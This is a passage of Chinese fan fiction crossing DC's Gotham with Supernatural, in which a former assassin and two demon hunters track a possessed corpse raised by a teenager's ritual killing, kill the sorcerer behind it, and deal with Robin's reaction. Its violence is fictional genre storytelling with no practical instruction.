索菲亚没有回答，而是注视着二人，片刻才收回视线，不紧不慢的同步了信息。 “就是这些，但目击现场的信息还需要补充。” 三人的视线聚焦在唯一被束缚的本杰明身上，显得格外焦灼。 “你以为我会说吗？你以为这能威胁我？” “那我现在就把蝙蝠侠引过来，你认为他知道你向未成年卖白粉会不会把你的屎都打出来？”索菲亚走近男人，蹲了下去和男人墨镜下的眼睛对视“要试试吗？” “你以为蝙蝠侠是什么？你说来就——” “你看那是什么？” “我说我说，别打我。”本杰明绝望地闭上了眼睛，随后开始回忆。 “我听过查尔斯的事，给企鹅人办事结果出了这么大的岔子能活着都算命好。他最开始流落街头的时候还有点闲钱，只是没过多久就把那点钱都送到了各个蛇头手里，几个月里就把自己整的不成样子。” “他没少干赊账的事，失踪也是正常，往往没过几天就能拿着钱回来。不过他一般还不上账，拿了现钱也是为了买点白粉爽一把了事。” “我也没多想，像这种渣滓短期能拿到钱的办法除了卖血也就只有跟着那些老大干票大的，指不定哪天就死了，说到底也没人在乎。” “那次是失踪两周我只以为他去哪家医药公司做实验去了，正规的医药公司人体实验几个疗程就能拿千把块，要是掺和些上不了台面的实验，万把块到手都是正常的。” “就算是真的让人切碎了扔在大街上，也只能算他倒霉，毕竟哥谭这种给点甜头就给卖命的老鼠不是遍地都是吗？” “说重点。”索菲亚抬脚在男人身上踹了一脚。 “嘶。”男人吸了一口凉气，继续说道。 “别的细节都差不多，他跟团碎肉一样被装在行李袋里，然后就莫名其妙站了起来，那绝对不是活人会有的姿势，我见过那么多毒虫，就算磕再多也不至于在那种情况下还能站起来的。” “站起来就罢了，他还能用下腰的姿势倒着走，走的飞快。看架势，不知道的以为是只大蜘蛛。” “其它细节呢？”迪恩追问道。 “容我想想。”男人闭上眼睛，随后缓缓吐出一口气“眼睛吧，那双眼睛我以前从没见过。” “什么样的眼睛？红色的？总不能是被吸血鬼初拥了吧。” “有点像琥珀，感觉会流动，但颜色要更亮些，有点像……” 索菲亚沉思片刻，摘下了美瞳。 “这样的眼睛吗？” 金色的瞳孔在黑暗中亮起，紧盯着眼前的猎物，眼神中察觉不到一丝情绪。 本杰明的思绪似乎一下回到了发现那袋怪物的下午，那时自己正是被如出一辙的，怪异的眼睛以看待猎物的眼神盯着的。 第27章 熟悉的眼睛, 熟悉的非法实验，熟悉的死而复生，这些元素单拎出来都算不上稀奇, 但加在一起实在让人头大。 猫头鹰法庭，你到底想干什么！ 索菲亚敢打包票，这么明显的特征如果和咕咕杀人有限公司没有关系, 猎魔人还不如干脆连夜跑去蝙蝠侠面前自爆利爪身份随后自觉入住哥谭知名景点阿卡姆精神病院, 切身体验谈笑有小丑，往来无义警的传奇生活。 救命，法庭为什么还在追我。 “在那之后没有人见过查尔斯了是吗？”萨姆继续询问。 本杰明摇了摇头，但因为还在被捆着整个身体也跟着晃动, 长脸上的胡子沾满了灰尘显得格外狼狈。 “他一般出现在哪里知道吗？” 本杰明猛地点头, 随后用眼神看了看身上的绳子, 又看了看面前的三人。 索菲亚再次挥刀，解开了男人身上的束缚。 “就在这附近，不过最近没听到有人撞见那鬼东西, 要不然就去下水道找找。”本杰明活动着四肢, 嘴里嘟嘟囔囔“不过按照那家伙当时的速度掉到河里了也说不定。” 索菲亚目送一瘸一拐的本杰明离开, 男人还想骂上几句察觉到身后格外刺眼的视线选择闭上了嘴。 “你们带装备了吗？我没有什么对付恶魔和亡灵的经验。” 说罢索菲亚将拿出了从教堂顺来的十字架展示在二人面前，黄铜做成的物件格外亮眼, 雕刻的栩栩如生的男人悬挂其上年复一年的替世人赎罪。 “所以十字架真的有用吗？” “可以试试木质或者银质, 这两种对付亡灵和吸血鬼效果拔群, 不过你这把也不错只要不上来就面对领主级别的恶魔都不是大问题。”迪恩接过十字架在手中端详得出了结论。 “那你平时处理什么样的怪物多一点？” “准确来讲只有食尸鬼, 哥谭遇到其他怪物的机会不多，最后可能都是阿卡姆预备役。” 索菲亚无奈的摆手。 “我的老师说过也可以根据都市传说去找线索, 不过哥谭有蝙蝠侠在, 大多数都市传说还没捂热乎就得挨顿打, 剩下的大多也没什么危害性。” “哥谭啊，那确实。” 话刚说完，两兄弟就没能绷住，笑了出来。 “听起来有点太小众了，我们为什么不把那几个难搞的家伙都弄到哥谭来让蝙蝠侠挨个打一顿。” “所以蝙蝠侠是真实存在的东西？我以为他跟slenderman，bunnyman一样只是个热门都市传说，所以这哥们天天晚上不睡觉去踢别人屁股？” “那算什么，我们还天天晚上不睡觉追在都市传说屁股后面呢。” 这句话一出，猎魔人之间被迫义务加班且收入微薄，不如去麦当劳炸薯条时薪高的悲凉感油然而生，在哥谭阴湿的角落里这样的话题显得过于沉重。 “我们还是继续聊恶魔吧。” 萨姆和迪恩引着索菲亚离开狭窄的街巷，在一阵迷茫的探索中经历多次走错路后终于在路灯下找到了自己的座驾，那辆黑斑羚有点年头但成色极好，看得出主人非常爱护。在暖黄色的路灯下，显得格外温馨。 只是这辆车停在了哥谭，就显得略有些格格不入，比如这辆车上似乎少了些重要的部件，比如说，轮胎？ “草，哥谭怎么回事。” 迪恩骂骂咧咧的上前查看情况，却只能对着自己心爱的黑美人心疼的抚摸因为暴力拆卸被留下划痕的车身。 “我要把那个王八蛋吊起来打，不打断他的骨头都对不起我的宝贝受到的痛苦。” 萨姆拍了拍兄长的后背充当安慰，然后打开车门从后座拿出来一本有点年头的皮质封面的本子。 “刚刚我就觉得本杰明描述的情况有点熟悉，现在可以确认了。”萨姆翻开笔记停在某一页“我们的爸爸约翰，曾经在其他猎魔人那里听过有关这样的故事，尸体在众目睽睽下死而复生，以《驱魔人》经典姿势逃走。” “死者家属被吓了一跳，最后还是几个胆大的小伙子拎着猎枪斧子在巡林人废弃的木屋里找到了用动物鲜血画成的，包含倒十字，六芒星元素的阵法。” “应该是有人挖开墓穴用尸体献祭想要召唤恶魔却出了差错，使得恶魔阴差阳错的被困在了那位死者的身体里。但这个混蛋以为召唤仪式失败了，所以着急忙慌的把尸体运了回去。” “就在死者的家人来墓园纪念的时候，恶魔醒了过来。” “最后是怎么处理的？” “几个年轻人将死者抓住后捆在胡桃木架上，放火烧到尸体没有任何反应后才将尸体重新下葬。” “木架，火烧，这两个词放在一起多少有点地狱。”耳机里罗宾难得有空回话。 “要找轮胎的话向前走八百米有家修车店，那个小贼还在讲价，现在去估计还能抓个人赃俱获。” “好。”索菲亚低声回应道。 “最多三百，几十年的老配件了，你敢卖我都不一定找得着下家。” 满是机油味道的格外刺鼻的修车店里，老旧的风扇摇着脑袋发出难听的响声，老板像是没骨头一样软趴趴的靠在门口，只是一瞥就定了价。 “嘿哥们，这轮胎的成色，质量再怎么样也不得七百，老是老了点但也不能那么低的价啊。” 棒球帽下，是一张局促的脸，五官几乎挤在一起难以舒展，剩余的部分则星星点点的遍布着冒着白点的青春痘，眼窝乌青但凡是明眼人就能看的出来这人刚刚挨了打，两只肥硕的手不断的搓来搓去，黑豆一样的眼睛同样左右乱瞥没有重心。 “我说个价五百，行的话我拿钱直接走。我实在手头紧，不然也不至于干这活。” “三百五。”老板懒洋洋的回话“我也不缺这么点东西。” “四百五，四百五成吧，我真的太缺钱了。” “你口口缺个口口钱，敢偷到我头上。” 迪恩愤怒的吼声格外显眼，咻的一声窜进店里，对着小贼的脸上邦邦就是两拳，萨姆紧随其后，拦住了那人的去路。 “你没凭没据凭什么说我偷了你的——啊，别打了别打了。” “要打出去打。” 小贼被拎着衣领带出了修车铺，索菲亚跟在后面对着屁股踹了一脚，对方一个趔趄险些趴到地上。 “为什么偷车？”迪恩蹲在小贼身边，看他拿扳手重新把轮胎装回去。 “缺，缺钱。” “废话这谁不知道，为什么缺钱。” 想到这，偷车贼黑豆般的眼睛开始剧烈震颤，脸色唰的一下变得苍白，连嘴唇都没了血色。 几天前，肯尼斯还在为混进学校的兄弟会而自豪。 肯尼斯的家境普通，父母在化工厂工作，勉强能够维持家庭的开支，让他不需要辍学打工来补贴家用。妈妈把翻身的所有希望都寄托在他的身上，为此不惜背负贷款也要把肯尼斯送进哥谭的私立中学。 在妈妈的世界里，只要和那些富家少爷沾上一点关系，整个家都可以飞黄腾达，爸爸不需要给主管点头哈腰就能获得全职的工作而非几十年一直待在没有社保的临时工工作，妈妈也不需要打四份零工来维持家用。 从懂事起，肯尼斯就意识到世界的残酷。 还在公立学校时，同桌一双花里胡哨的难看运动鞋顶的上肯尼斯一家半年的生活费，自己只能永远穿着或许挤脚或许太大的鞋子在操场上被健壮的同学撞来撞去。 肯尼斯只去过一次同学的生日party，精心修剪的草坪，名贵的被飞机空运而来的价格不菲的康乃馨，十几个穿着毛绒服装围着同学的npc，精致可口的菜肴。 这些在同学看来只是小小惊喜的每个元素，都源源不断的流淌着金钱，而肯尼斯只需要捞到其中的哪怕一枚金币，他的生活都会迎来翻天覆地的变化。 为什么我不能是被爱包围的小王子呢？ 妈妈精心准备的全是由半成品简单烹饪而成的高热量食物，一次次因为家里缺钱而不得不主动放弃的夏令营活动，生病时爸爸翻箱倒柜找到的舍不得吃却已经过期的药品。 这些是爱吗？为什么偏偏是我要承担这样的爱？ 为什么爱不能变成钱？ 好沉重，好压抑，好痛苦。 为什么偏偏是我做了这家的孩子？ 我为什么不能成为有钱人的孩子？ 这些淤泥一样的毫无营养的爱让青春期的肯尼斯体重不断增长，最后到了惊人的260磅，让肯尼斯鼻子上的镜片越来越厚，让肯尼斯被同学孤立成了所有人都视若无物的边缘人。 但是现在不一样了，学校的兄弟会可是最受欢迎的人才能参加的组织，只要进入其中自己也能够真正的翻身，只要讨好麦哲伦家的小少爷，一切都唾手可得。 他需要这份机会，他需要这份机会，绝对绝对不可以做错，这是唯一一根能逃离地狱的蜘蛛丝，如果连这份机会都失去，不会的，不会的，一定不会出错。 肯尼斯肥硕的身体跟在他们身边，谄媚的称呼自己是肥猪，趴在地上心甘情愿的做那些兄弟的脚踏，有时又成了打手。 一个耳光扇在瘦弱的戴着眼镜的四眼仔身上，肯尼斯的血管里都流淌着快乐，对的，这是无比的快乐，超过摄入甜食，超过吸烟，喝酒等一切易上瘾的东西。 肯尼斯清楚的知道，这种快乐来源于权力，支配他人的权力。 即便跪在兄弟面前，猪叫，狗爬，怎样都好，当有些人的狗可比当堂堂正正的人好太多了。 人自以为自己是人，为了那点虚无缥缈的尊严和自由把自己的一切都押注在工作上，认为自己的失败是不够努力。 不是的。 肯尼斯笑的癫狂，几乎要抽晕过去。 因为从很早开始，世界上只有掌握了某些东西的人才能叫做人，其他的人是奴隶，是牲口，是财产，是易获得可替代性强的人口资源。 肯尼斯认清了自己牲口的本质，摇尾乞怜要远远比那些人过得好的好的多。 我一定不能失去这些。 肯尼斯点燃混杂着白粉的香烟吐出烟圈这么想着。 我一定不能失去这些。 肯尼斯将四眼仔的脑袋按在马桶里，兴奋的狗叫时这样想到。 我一定不能失去这些。 肯尼斯举起柴刀，一刀一刀劈砍在倒在地上的老人身上，笑容几乎扯烂了嘴角，脸上的肉随着动作晃动，沾染上飞溅而出的鲜血时，也这样想到。 等等，我在—— 做什么？ 第28章 飞溅而出的血液难得唤醒了肯尼斯的神智, 他本就算不上好用的脑子终于转动起来。 肯尼斯站起身来，不顾自己身上的血液，高声大喊。 “弗莱迪大人, 我已为您献上祭品，请你降临。” 伴随着肯尼斯一遍又一遍撕心裂肺的呼喊，几个少爷发出猿猴般的欢呼声, 尖叫声和此起彼伏的笑声。 随后, 找乐子的年轻人们看着自己忠诚的奴隶把几乎剁成肉馅的尸体塞进了行李袋，在毒品的作用下开着麦哲伦父亲送的那辆几百万上下的阿斯顿马丁，跑到了不到两公里远的罗宾斯维尔的街道中间丢下了那个装满□□的裹尸袋。 被肾上腺素控制的肯尼斯带着沾血的衣物回家，过度运动后自己的手臂几乎拉伤, 巨大的困倦袭击了他, 来不及洗漱, 只是刚刚躺在床上肯尼斯就失去了意识。 醒来的时候，肯尼斯的面前是吸满了吸血的，腥臭无比的被褥, 不合身的箍在身上的染血衬衫同样散发着恶臭。 意识终于回笼的肯尼斯终于意识到自己做了什么。 “别打了别打了, 我就是想从哥谭跑路, 要是GCPD查出来肯定不会追究那几位少爷的责任，只有我真的会被扔进监狱, 我的人生, 我爸妈的人生都要完蛋了。” “放屁, 你杀人的时候怎么不记得自己的人生完蛋了呢？” 迪恩气不打一处来, 又是一脚踹在肯尼斯的屁股上。 “是什么样的行李袋？” “深红色的，lv的袋子, 是麦哲伦给女朋友买包的时候配货来的东西, 一直被扔到车后座了。” “深红色, lv袋子。” 罗宾几乎同时回答了这个问题。 “什么样的阵法还记得吗？” 迪恩拿出纸笔递给肯尼斯。 “你们搞出来的东西都快上哥谭热搜了，得亏那东西没什么攻击性，不然今晚蝙蝠侠就得把你们全塞进阿卡姆。” 肯尼斯吸着鼻涕，拿手背擦拭眼泪，一边抽噎着一边按照回忆歪歪扭扭的画下图案，颤抖着手递给迪恩。 索菲亚挤进去侧着脑袋去看纸上的图案，杂乱的弯弯扭扭的线条勉强展示出几个六芒星逆十字的样式，明明是第一次见到索菲亚总是觉得有种莫名其妙的熟悉感。 “弗莱迪是什么？你们打算在现实复原《猛鬼街》？” “那是什么？新的恐怖片吗？”萨姆询问道，显得格外诧异。 “是论坛上的一个帖子，在午夜用新鲜的血肉放置在阵法上能召唤出恶魔弗莱迪，麦哲伦觉得好玩就叫上我们一起玩。”肯尼斯抱着头，因为哭的太用力还在啜泣。 “说实话。”迪恩双手环胸自上而下的俯视着占据一大片位置的懦弱小孩。 “是我，是我翻到了这个帖子，就把这个帖子拿去给麦哲伦取乐。” “他没有说谎，只在他的设备里找到了那条帖子的浏览记录，虽然帖子已经删除，但这不算什么大问题，我复原了网页内容，确实有提到恶魔弗莱迪。” “按照购买记录和运动轨迹来看都只显示了肯尼斯的名字，包括作为凶器的登山刀和方便毁尸灭迹的绞肉机。如果他没说谎的话，麦哲伦连教唆犯罪都不算。” 看着还在审问肯尼斯的温彻斯特兄弟俩，索菲亚默默向后退了一步，低声追问。 “发帖人呢？” “ip地址就在哥谭，等等他就在你们附近，你们的位置几乎重合。” “可我这——等等，在地下对吗？” 这么说来一切都解释的通了，隐藏在哥谭地下确实比在罪犯横行的地上好上不少。 至少不用面对诸多罪犯以及罪犯练习生竭泽而渔式的可持续掠夺方案，也不需要在进行违法犯罪时提心吊胆随时担心被蝙蝠侠打断肋骨在医院里躺上十天半个月。 对比之下，生活在污水里的蟑螂老鼠杀手鳄都显得格外亲近可人。 迪恩拎着领子把大上好几圈的肯尼斯拎了起来，再确认对方站好后一巴掌拍在他的肩膀上，险些将被吓到腿软的肯尼斯再次拍的摔倒在地。 “知道去GCPD的路吗？自己老实一点去自首，不然的话——” 男人用手做了个抹脖子的动作，接着继续用手指向肯尼斯。 “你也可以试着逃走，试试这位布兰登小姐能不能把你的头砍下来。” “不喜欢砍头的话我还会碎尸。”索菲亚看似无心的开口。 “懂了吗？” 面对着那双蜜糖一样的眼睛，肯尼斯含着泪点了点头，在放开后一路沿着街巷一瘸一拐的离开。 “放心，我会看着他的。” 几个法外狂徒熟练的撬开了下水道的井盖，用手电筒确认了深度后迪恩一跃而下，在一阵水声后就听到男人骂骂咧咧的声音。 “草，这是什么味。” 萨姆在上面笑的前仰后俯，在用手电筒确认了兄长的位置后避开了积水处，平稳的落在了地面。 索菲亚断后，在跳下前顺手合上了井盖。 根本不需要过多描写，短短几个月索菲亚把哥谭地下摸得像回家一样，在哥谭不熟悉下水道不配出道做义警或者反派，而前任利爪兼新任猎魔人怎么可能会在地下迷路。 积水整体发黑，散发出各类垃圾混在一起发酵后的酸臭味，萨姆一个不着便是一阵干呕，迪恩同样不好受但还是掏出口罩递给弟弟和索菲亚。 过了一大片积水处，两侧平台上黑色的断断续续的印迹格外显眼，看样子被弗莱迪附身的查尔斯没少在此处徘徊。 走过不到几步地面在印痕的基础上增加了几道拖拽痕迹，甚至能看出指甲抓挠挣扎的痕迹。至少从痕迹的形状基本可以否定是猫狗之类的动物，那么大概率的可能只剩下了人这一个选项。 “看来我们误判了，查尔斯已经攻击人类了。” “最差的情况可能是幕后的人已经完全控制了查尔斯，促使他开始狩猎人类。” “其实我一直不明白被恶魔附身和食尸鬼到底有什么区别。”索菲亚开口“这两者听起来真的很像不是吗？” “很多被附身的人大多还活着，驱魔仪式能解决一半的问题，食尸鬼则更多是同类相食后的诅咒，这种食人怪物的传说本身就不算少见。”迪恩回答道“我猜？” 水流流过管道发出的响声格外刺耳，耳机那边的罗宾再次没了动静，索菲亚提起十二分精力判断空气中可能会有的异响。 空气中传来烈火划过的响声，索菲亚冲上前去用刀背弹开了被发射来的燃烧物，火焰落在污水中并没有熄灭，还在燃烧。 随后依旧折叠着身体的浑身上下都□□涸的血迹包裹的人形怪物发出尖啸声向三人冲来。 “我操。”迪恩掏出手枪，一次次扣动扳机，子弹呼啸着击中怪物的身体，怒吼声攻击着在场每个人的耳膜。 索菲亚挥刀砍去，在刀刃和怪物的外皮相接触的时候，意外出现了如同砍到石头般的质感，几乎几倍返回到攻击者的手臂上。 “物理攻击没用。” 索菲亚将刀收回刀鞘，一个翻滚躲开怪物的袭击，从万能腰带里掏出被放在喷雾里的圣水，下一秒就一个闪身几乎贴在怪物身上。 随着食指按压，绵密的水雾喷射而出，但仍未伤害到怪物分毫。 疑似失去所有手段的索菲亚只能暂时拉开距离，顺手把差点被查尔斯捏断脖子的迪恩向后一拉避开了攻击。 “对方应该是个法师，给上了一层护盾一样的东西，不扒开护盾我们仨都死在这都没办法完成驱魔仪式。” 破除护盾，对，要破开防御才能驱魔解决问题，圣水暂时没用，十字架估计更没用，那还有什么其他的办法吗？ 索菲亚的大脑疯狂运转，突然是想到了被尘封已久的系统。 “系统，兑换火焰魔法，最高强度。” “已接收到指令，兑换最高强度火焰魔法，倒计时120秒。” 在倒计时下，系统平日里毫无人性的机械音都显得格外亲切，三人被怪物追的狼狈逃窜，斗篷被锋利的爪子划出几道裂痕，破布般披在肩上。 “5，4，3，2，1。” 随着倒计时归零，一道可以随时可以举行女巫BBQ的巨大火焰出现在地下，席卷着将通身发黑的查尔斯卷入其中，火舌舔舐着死者被砍的稀碎的肉身，发出难闻的糊味。 索菲亚还来不及喘口气，查尔斯便拼着最后的力气飞扑而来，带着包裹全身的还在燃烧的火焰。 根本来不及闪避，拔刀更是天方夜谭，在仿佛刻意放慢的动作中，迪恩和萨姆意外的眼神格外显眼，而索菲亚只能眼睁睁看着对方的袭击。 “算了，不过是挨一下，又不会死。” 索菲亚闭上了眼睛。 咫尺之间，一道白光突破眼皮的限制将整座阴湿的地下全部照亮，仿佛到了白昼，紧接而来的便是震耳欲聋的怒吼一般的雷鸣声。 在那只利爪即将触碰到最终时刻，一道巨大的穿透了无数钢筋水泥束缚的雷电精准的劈在了查尔斯的身体上，皮肤碎片般窸窸窣窣的落下。火焰燃烧的更加剧烈，在焦糊味中，电流仍在怪物体内穿梭。 反应过来的迪恩立马掏出了圣水，萨姆也翻开了笔记手中紧握十字架开始念诵驱魔的咒语。 “啊——”此时查尔斯意外发出独属于人类的吼叫声，随着黑色的粘稠的几乎凝成实体的雾气在黑暗中被燃烧殆尽，倒霉的男人终于显露出本身的模样。 但火焰仍在燃烧，按照某个人的说法，她的魔法在燃尽黑暗前不会结束。 萨姆有些许不忍，但还是被迪恩拦了下来，年长些的兄长用手挡住了弟弟的眼睛，但自己的手却忍不住颤抖。 即便三位猎魔人心思各异，但还是安静的看着本该死去的查尔斯在烈火中尖叫，直到他再次死去。 第29章 索菲亚站在原地, 静静的看着查尔斯被大火燃尽。 很明显查尔斯面对魔法毫无招架之力，那么他身上的那层能够免疫物理攻击的护盾大概率来自于背后那位蹩脚魔法师之手，这么说来刚刚照面时发射而来的火球也有了解释的空间。 而在刚刚的战斗时, 即使索菲亚全部精力都用在搏斗上，也能通过声音判断出没有人离开时发出的脚步声。 结合魔法师普遍体能苦手的职业特征，索菲亚能够确定那位三流法师还呆在这里无法脱身。 或许, 就在某个角落也说不定。 “我马上到, 索菲亚，先不要轻举妄动。” “好，不用着急。”索菲亚低声回道。 鞋跟敲在地面，如同倒转的时钟一般每次转动都是一次催命符, 在满是污水, 臭气, 虫豸和尸体的下水道里不断的回响。 来自角落的呼吸声越发沉重，在几次深呼吸后那道身影似乎下定了决心，对着索菲亚的方向伸出了手。 “Nox Aeterna, Tenebrae Surgite！Umbra Cordis Mei——啊！” 那只伸出的干枯的手上, 一柄长刀从掌心穿透而过钉在了背后的墙上打断了法师的咒语, 剧烈的痛苦让法师几乎忘记了脱困。双腿近乎失力瘫软在地上，但因为手掌被钉在墙上反而以扭曲的姿势被迫站立。 索菲亚观赏着黑袍下法师那张平凡的毫无特色的脸上满是痛苦的表情, 内心升不起一丝愉悦。 至少索菲亚自认自己不是会从他人的痛苦中获得乐趣的人。 但是让这样一个利用论坛发帖就可以用魔法将活人转化成怪物的黑魔法爱好者活下来, 只是增加了更多的不确定和危险。即使是索菲亚这样的对大多数事都毫不在乎的人来讲, 都是在她的底线上跳舞。 “我不会放过你, 等我从监狱出来，我一定会杀了你。”法师怒吼道。 “放心你不会有机会的。”索菲亚将刀鞘中的另一把长刀缓缓抽出, 金属划过刀鞘的尖锐声音格外刺耳, 让法师浑身上下的每块肌肉都在颤抖, 求生的本能促使他不断说话来转移对痛苦的关注。 “蝙蝠侠算什么他又不能杀了我，我还有精神病，只要去医院住几个月等我养好了伤，我还会回来，没人拦得住我。” 索菲亚没有回话，在法师面前站定将长刀从墙上拔出，随着金属离开伤口，血液汩汩流出。 法师立马用自己的黑袍包住伤口，一边谩骂。 “你算什么东西？被药剂做出的怪物，杀了几个半成品就以为自己是英雄？不过是被关进动物园里让人买票进来看的怪——” 男人的声音戛然而止，头发传来的拉扯感让他不得不随着动作抬起了头，将黑发金瞳的少女映入眼帘。 随后，被穿透手掌的疼痛突然消失了，在一片空白中男人后知后觉的感知到如同被打断骨头的痛感，视角也越来越高。 在余光下，男人似乎看到了熟悉的东西，那是一具没了头的身体，站立了几秒才向右倒下，重重摔在了地上。 黑色的长袍包裹着的手掌还在渗出血液，但这些疼痛似乎都渐行渐远。 男人这才后知后觉的意识到—— 那好像是我的身体。 耳机里传来罗宾赶路的声音，钩爪枪落在建筑上带着少年滑翔的响声格外明显，凛冽的带有攻击性的风夹杂着罗宾因为疲惫略微沉重的呼吸声。 “你可以慢慢来，我已经结束了。” 索菲亚看着手上提着的没有闭上眼睛的头颅，一个使劲扔在了尸体旁边。从断口处喷出的血液溅射在墙面，却没能将已经发黑的墙体染去哪怕一分一毫。 两位同行被堪称猎奇的杀人场景所震撼，等到迪恩带着所有的不可思议上前查看的时候，法师早已经没了心跳，那颗脑袋还在他的肚子上歪七扭八的躺着。 在震撼过后，索菲亚能感受到这位同行的愤怒和不解，当与那双因为这场杀戮而震颤的眼神里，在那双蜜糖一样的眼睛里索菲亚看到了倒映出的脸上沾满血液的自己。 “我以为猎魔人的宗旨是不对人类动手？” 先开口的反而是萨姆，高个的猎魔人几乎把疑问句说成陈述句。 索菲亚没有正面回答，用斗篷擦了脸上的血迹后才说话。 “我们该走了，蝙蝠侠来了会很麻烦。” 少女转身不紧不慢的离开，将刀背划过手肘用黑色的布料擦去血液后才放回刀鞘，只留下兄弟二人对着人首分离的法师面面相觑。 索菲亚站在楼顶，黑色的斗篷随风四处摇曳，在机械发动的声音后，罗宾熟门熟路的落在了索菲亚身边。 “你还好吗？”罗宾收起钩爪枪，向索菲亚走来。 黑色的发丝同样被风吹的四处飞舞，今夜那场突如其来的雷暴将空中的积累多日的云层打碎，在暴风之后恐怕就是一场暴雨。 极度的气温骤降让索菲亚的内心毫无波澜，但秉持着猎魔人的职业素养还是让索菲亚开口询问。 “肯尼斯有去自首吗？” “我亲眼看警员把他拷上带去审问，麦哲伦也被传唤。不过还是我之前说的，因为这件事把麦哲伦和他那几个狐朋狗友一起送进去的概率不大，这几个人最多算教唆犯罪，再加上未成年的身份恐怕审问完就可以回家。” “法律似乎没什么用处。” 在带着雨前特有的泥土混杂着青草的大风中，罗宾的斗篷同样被吹出刺耳的声响，两人没有继续对话，只是在高处静静等待大雨的来临。 “提姆，你为什么要做罗宾？” 在沉默过后，有些沙哑的少年音才在空气中响起。 “我小学的时候有一个朋友，他的父亲只是个普通人，却卷进了□□混战，在枪战中死去了。因为监控失灵没有留下一丝证据，他的母亲用尽了一切手段还是没有办法讨回公道。在他的父亲去世后，他的家里失去了收入来源，之后我再也没见到过他。” “直到我在某次入侵GCPD的内网，发现了他后续的经历，他的母亲无力承担生活的重压不得不带着他搬去东区更便宜的公寓，而他为了补贴家用放弃了学业在各类灰色行业流转。” “而GCPD唯一记载了他的文件，是一封犯罪陈述，为了获得更多的钱他决定以身犯险，跟随帮派去抢银行，最后死在了流弹之中。” “那时我就在想，如果当时有人能救下他的父亲他的人生是不是就会不一样。我知道这不是蝙蝠侠的错，他再怎么无所不能也不能阻止哥谭发生的每一起犯罪。可是，如果，如果我也加入他们，打击犯罪，哥谭是不是就会少一个这样的悲剧。” 少年的语气无比平淡，根据索菲亚的了解，提姆一定将这件事在内心翻来覆去的想了无数遍，即便如此也没有让这段记忆有一丝褪色。 “那你呢？索菲亚，你为什么要选择做猎魔人？” 提姆侧头注视着身边的索菲亚，等候同伴的答案。 “我不知道。” 索菲亚注视着哥谭亮起的灯光，说话的声音也随着斗篷被风吹散。 “我只看到了这一条路。” “那如果不做猎魔人你还想做什么呢？” 索菲亚思考过后，还是只有一个回答。 “我不知道。” 这是索菲亚从未想过的问题，甚至于完全不理解为什么提姆会问出这样的问题。 为什么会成为猎魔人？ 因为作为杀手只学会了杀戮。 为什么会作为杀手？ 因为有人需要杀手。 索菲亚从没想过为什么，只是机械般执行命令，不需要任何的思考，思考只会带来质疑和不忠。 在日复一日的训练下，少女第一次生出了疑问？ 审判庭真的能永远延续吗？ 杀死阿尔伯特在审判庭的政敌时，杀死越来越多质疑权威挑战权威的反抗者时，杀死影响了审判庭利益的商人一家时，少女的脑内一直思考着这个问题。 唯一的答案是不能。 即使是极少动用脑子的小猫头鹰，也没有为了黑心组织付出一切甚至是生命的打算，在阿尔伯特的掌控下少女怀揣着异样的心思寻找着离开的方法。 当最后一切都结束，索菲亚逃过了陪葬的命运，被猎魔人们围绕着的时候，那时还没成为监护人的女人问她。 “索菲亚，你想做什么？” 环视着周围神色各异的猎魔人，索菲亚只是回答。 “那我也做猎魔人好了。” 雨滴淅淅沥沥的落下，风却不见丝毫减弱的迹象，裹挟着水滴在钢筋水泥间旋转。 罗宾在索菲亚面前站定，用手托起了少女的下巴。 索菲亚被拉回了思绪，注视着同伴蓝色的仿佛涵盖了天空大海宝石清澈的眼眸，在眼睛的倒影里索菲亚再次看到了自己的脸。 那张脸从来没有擦干净过，仍旧有血迹沾染，直到落下的雨滴将血色一丝一丝的洗净，血水从索菲亚脚下流过，汇集在罗宾黑色的战术靴下。 索菲亚那些拙劣的伪装在罗宾面前无从遁形，被迫注视着关系已然扭曲的友人。 直到这时，索菲亚才看到提姆双眼中，即便是磅礴大雨都无法遮住的挣扎。 第30章 关于那夜自己是如何从那个天台离开又是怎样到家的, 索菲亚毫无思绪。 只记得从睡梦中醒来后，只看到了忘记关上的窗户，以及顺着窗台被大风吹进的雨水打湿的被泥浆淹没的地毯。 来不及洗漱, 索菲亚只能先把地毯打包好，打算过一会送去干洗店抢救一下。接着找到清洁工具，用拖布一点一点吸干积成一汪水潭的雨水。 忙来忙去的身影吸引了休息在家的斯蒂芬妮, 少女干脆放弃了在客厅沙发看一下午《生活大爆炸》打发时间的休息方式, 帮着抢救其他被雨水破坏的物件。 “怎么连窗户都忘记关了？你被甩了？”斯蒂芬妮把雨淋湿的四件套从床上拆下，眼神却还被客厅电视的声音所吸引“被子都湿成这样了还睡得着觉，你这个年纪你怎么睡得着的。” “没什么。”索菲亚身上套了件宽大的t恤衣摆几乎垂到膝盖，将人遮挡的严实, 即使这样斯蒂芬妮也能看到露出来的皮肤上或多或少存在的剐蹭痕迹。 “是谁说的, 我一个月就把他甩掉～只是玩玩～你现在像是回家发现家里的猫崽子被偷了的无助猫妈妈。” 被弄脏的布料被团成团被斯蒂芬妮顺手投进了脏衣篓里, 没有一点偏移。 “不高兴就分手也没什么，又不是你俩今天分手明天地球就要爆炸。” “我当着他的面杀人了。” “哦，杀人啊, 又不是——”斯蒂芬妮诧异的回头“等等, 你说你当着全哥谭最在乎规则和法律的人面前杀了个人？” “对。”索菲亚点头。 “希望一会蝙蝠侠来抓你的时候能有耐心听我解释我不是共犯, 我还什么都没做呢。” 斯蒂芬妮没了收拾残局的精力，在客厅左右踱步, 时不时发出叹息。为了方便干活, 金色的长发扎成低马尾垂在脑后, 索菲亚的脑袋跟着那根辫子一起左右晃动。 “你别走了我头晕。” “你昨晚激情杀人的时候怎么不头晕？” “不是的。” “太好了, 是有误会是吗？我这就联系律师给你辩护，你或许能争取无罪。” “不, 没有激情。” “直接死刑, 不用判了。” 斯蒂芬妮终于停下了动作, 沉重的坐在了沙发上，疑似失去所有力气和手段，将脑袋埋进掌心，流露出完全无法承担的无力感。 “算了，今晚我们去看阿卡姆病院的病房好了，给你挑一件离那群疯狗远点的。想好你的反派代号了可以提前告诉我，到时候蝙蝠侠要是去揍你我就说你是我的反派，让蝙蝠侠滚出去。” 索菲亚看不到斯蒂芬妮的脸，只能从对方颤抖的身体判断出对方情绪激烈，安慰人的经验几乎为0的前杀手选择从零食框里翻出几条巧克力递给同伴。 “你要不要吃一点东西。” “算了，问题不大。”斯蒂芬妮抬起头在索菲亚还没收拾的脑袋上揉了一把“至少你还没有把小丑剁成肉馅装在包装盒里送给蝙蝠侠让他们家包饺子。” 